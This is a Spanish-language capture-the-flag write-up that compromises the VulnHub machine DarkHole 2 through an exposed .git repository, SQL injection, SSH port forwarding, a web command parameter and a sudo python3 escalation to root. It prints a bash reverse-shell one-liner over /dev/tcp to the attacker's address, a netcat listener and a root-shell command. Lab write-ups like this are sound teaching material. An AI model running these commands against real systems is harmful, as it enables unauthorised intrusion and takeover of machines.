Inicio DarkHole 2 VulnHub Write-up
Entrada
Cancelar

DarkHole 2 VulnHub Write-up

Resumen

Saludos, en esta oportunidad vamos a resolver la máquina de VulnHub llamada DarkHole 2, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:

  • Reconocimiento del sistema.
  • Enumeración de proyecto Git.
  • SQLi.
  • Local Port Forwarding utilizando ssh.
  • Abuso de servidor web.
  • Información fitrada (bash history).
  • Abuso de privilegio de Sudoers.

Reconocimiento y Enumeración

En primer lugar, se comprueba la correcta conexión con la máquina utilizando ping:

1
2
3
4
ping -c 1 192.168.233.130

PING 192.168.233.130 (192.168.233.130) 56(84) bytes of data.
64 bytes from 192.168.233.130: icmp_seq=1 ttl=64 time=0.266 ms

Se observa que existe una correcta conexión con la máquina.

Para realizar un reconocimiento activo se utilizará la herramienta nmap, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):

1
sudo nmap -p- -sS -open 192.168.233.130 -oG Port

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Realizamos un escaneo de los servicios expuestos utilizando nmap:

1
nmap -sCV -p22,80 192.168.223.130 -Pn -oN ServiceScan

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 57b1f564289891516d70766ea552435d (RSA)
|   256 cc64fd7cd85e488a289891b9e41e6da8 (ECDSA)
|_  256 9e7708a4529f338d9619ba757127bd60 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-git: 
|   192.168.233.130:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: i changed login.php file for more secure 
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole V2

Observamos un servicio http, el cual tiene un repositorio de Git, vamos a utilizar whatweb para enumerar información:

1
2
whatweb 192.168.233.130
http://192.168.233.130 [200 OK] Apache[2.4.41], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.233.130], Title[DarkHole V2]

Vamos a ver la web:

Tenemos un panel de login, vamos a verlo:

Antes de realizar intentos de SQLi, vamos a revisar el directorio .git:

Explotación

Vamos a traernos el proyecto a nuestro equipo utilizando git_dumper:

1
2
3
4
5
6
7
8
9
10
python3 git_dumper.py http://192.168.233.130/.git darkhole2
[-] Testing http://192.168.233.130/.git/HEAD [200]
[-] Testing http://192.168.233.130/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://192.168.233.130/.git/ [200]
[-] Fetching http://192.168.233.130/.gitignore [404]
[-] http://192.168.233.130/.gitignore responded with status code 404
[-] Fetching http://192.168.233.130/.git/hooks/ [200]
[-] Fetching http://192.168.233.130/.git/logs/ [200]
[-] Fetching http://192.168.233.130/.git/HEAD [200]

Cuando termine, entramos a la carpeta que ha creado:

1
2
ls
config  dashboard.php  index.php  js  login.php  logout.php  style

Observamos todos los archivos del proyecto, si los revisamos encontraremos el panel de login:

1
2
3
4
5
6
7
8
9
10
11
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
    $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
    $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
    $check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
    if($check->num_rows){
        $_SESSION['userid'] = 1;
        header("location:dashboard.php");
        die();
    }

El cual implementa funciones para evitar las injecciones.

Pero no encontramos más información, sin embargo, como es un proyecto de git vamos a ver si existen logs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master)
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:14:32 2021 +0300

    i changed login.php file for more secure

commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:06:20 2021 +0300

    I added login.php file with default credentials

commit aa2a5f3aa15bb402f2b90a07d86af57436d64917
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:02:44 2021 +0300

    First Initialize

Si existen, vemos un commit que dice que ha agregado al login una cuenta con credenciales por defecto, vamos a ver de que se trata:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
git show a4d900a8d85e8938d3601f3cef113ee293028e10

commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date:   Mon Aug 30 13:06:20 2021 +0300

    I added login.php file with default credentials

diff --git a/login.php b/login.php
index e69de29..8a0ff67 100644
--- a/login.php
+++ b/login.php
@@ -0,0 +1,42 @@
+<?php
+session_start();
+require 'config/config.php';
+if($_SERVER['REQUEST_METHOD'] == 'POST'){
+    if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){
+        $_SESSION['userid'] = 1;
+        header("location:dashboard.php");
+        die();
+    }

Vemos unas credenciales, vamos a probarlas en el panel de login.

Al ingresar vemos:

Vemos un panel, vamos a intentar algunas injecciones para ver si es vulnerable:

Sin embargo, no logramos nada.

En la URL podemos ver que se está utilizando un id para identificar el usuario, vamos a probar uno diferente:

Vemos que si, vamos a analizar esto mejor en burpsuite:

Como podemos saltar de id en id, tenemos un posible campo de injección, asi que vamos a probar SQLi:

Vemos que al agregar una comilla, da página da error, vamos a probar a enumerar las columnas:

Vemos que ha dado error, vamos a ir bajando el valor de las columnas. (en URL encode porque es una dirección url y no funciona en caso contrario.)

Luego de ir bajando el valor llegamos a 6, en el cual ya no da error. Por lo tanto, nos hace pensar que este es el número de columnas que tiene la tabla, vamos a probarlo:

Vemos que ha funcionado, dentro de los imput se ven reflejados los numeros que hemos seleccionado, por lo tanto, vamos a enumerar la base de datos:

Vemos que la base de datos se llama darkhole_2, vamos a enumerar las tablas:

Observamos que hay una tabla llamada ssh, vamos a ver las columnas que tiene:

Vemos que hay una columna id, sin embargo, nos hace pensar que falta información, para ello utilizaremos group_concat para forzar a que toda la información aparezca en la misma linea:

Vemos que existen las columnas id, user y pass, vamos a extraer la información:

Tenemos unas credenciales jehad y passowrd fool, como la tabla se llama ssh nos hace pensar que corresponde a un usuario válido, vamos a probarlo:

1
2
3
4
ssh jehad@192.168.233.130

jehad@darkhole:~$ whoami
jehad

Logramos iniciar sesión correctamente por ssh en la máquina.

Vamos a buscar la flag:

1
2
jehad@darkhole:/home/losy$ cat user.txt 
DarkHole{'This_is_the_life_man_better_than_a_cruise'}

¡Bien!, tenemos la flag de usuario, ahora vamos a escalar privilegios.

Escalada de privilegios

Vamos a empezar enumerando nuestro grupo y privilegios:

1
2
jehad@darkhole:/home/losy$ id
uid=1001(jehad) gid=1001(jehad) groups=1001(jehad)

Para los permisos:

1
2
3
jehad@darkhole:/home/losy$ sudo -l
[sudo] password for jehad: 
Sorry, user jehad may not run sudo on darkhole.

Pero no encontramos nada. Si buscamos por binarios SUID:

1
2
jehad@darkhole:/home/losy$ find / -perm 4000 2>/dev/null
jehad@darkhole:/home/losy$

No tenemos nada, vamos a buscar por tareas cron:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root service apache2 start && service mysql start
* * * * * losy  cd /opt/web && php -S localhost:9999

Y vemos algo interesante, tenemos lo que parece ser un servidor web por el puerto 9999 por parte de losy, vamos a traernos este puerto a nuestro equipo para ver de que se trata, esto lo haremos haciendo port forwarding utilizando ssh:

1
ssh -L 9999:127.0.0.1:9999 jehad@192.168.233.130

De esta forma, convertimos nuestro puerto 9999 en el puerto de la máquina víctima, vamos a ver que es:

Vemos que pide un parámetro cmd, al parecer podemos ingresar comandos:

Tenemos entonces, una forma de ejectuar comandos como el usuario losy, vamos a ganar acceso como losy:

1
http://localhost:9999/?cmd=bash -c 'bash -i >%26 /dev/tcp/192.168.233.129/1234 0>%261'

Vamos a enviarnos una bash hacia nuestra máquina, utilizando el /dev/tcp, con ello entonces vamos a estar escuchando por netcat por el puerto 1234:

1
2
3
4
5
6
7
8
nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.233.128] from (UNKNOWN) [192.168.233.130] 55314
bash: cannot set terminal process group (1266): Inappropriate ioctl for device
bash: no job control in this shell
losy@darkhole:/opt/web$ whoami  
whoami
losy

Hemos ganado acceso como el usuario losy, vamos a arreglar la bash:

  • script /dev/null -c bash
  • control + z
  • stty ray -echo; fg
  • reset xterm
  • export TERM=xterm
  • export SHELL=bash
  • stty rows X columns Y (dependiendo de tu stty size)

Con esto listo, ya podemos movernos con comodidad.

Si nos vamos al directorio personal de losy, encontraremos algo interesante:

1
2
3
4
5
6
7
8
9
10
11
losy@darkhole:~$ ls -la
total 36
drwxr-xr-x 4 losy losy 4096 Feb 24 16:44 .
drwxr-xr-x 5 root root 4096 Sep  2  2021 ..
-rw------- 1 losy losy 1123 Sep  3  2021 .bash_history
-rw-r--r-- 1 losy losy  220 Sep  2  2021 .bash_logout
-rw-r--r-- 1 losy losy 3771 Sep  2  2021 .bashrc
drwx------ 2 losy losy 4096 Sep  2  2021 .cache
drwxrwxr-x 3 losy losy 4096 Sep  3  2021 .local
-rw-r--r-- 1 losy losy  807 Sep  2  2021 .profile
-rw-rw-r-- 1 losy losy   55 Sep  3  2021 user.txt

Vemos el bash history, si le echamos un ojo y vamos revisando las lineas encontramos lo siguiente:

1
P0assw0rd losy:gang

Parece ser la contraseña de losy, vamos a intentar cambiar de usuario:

1
2
3
4
jehad@darkhole:/home/losy$ su losy
Password: 
losy@darkhole:~$ whoami
losy

Ahora nos hemos convertido en losy, y tenemos sus credenciales, vamos a ver los privilegios que tenemos:

1
2
3
4
5
6
7
losy@darkhole:~$ sudo -l
[sudo] password for losy: 
Matching Defaults entries for losy on darkhole:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User losy may run the following commands on darkhole:
    (root) /usr/bin/python3

Podemos ejecutar python con privilegios, esto es crítico, pues podemos ganar acceos al sistema como root facilmente:

1
2
3
4
5
6
7
8
9
losy@darkhole:~$ sudo /usr/bin/python3
Python 3.8.10 (default, Nov 14 2022, 12:59:47) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("bash -p")
root@darkhole:/home/losy# whoami
root
root@darkhole:/home/losy# 

Nos hemos convertido en root, pues mediante python utilizando la librería os podemos ejecutar comandos en el sistema.

Vamos a buscar la flag:

1
2
root@darkhole:~# cat root.txt 
DarkHole{'Legend'}

¡Listo! Hemos terminado la intrusión.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.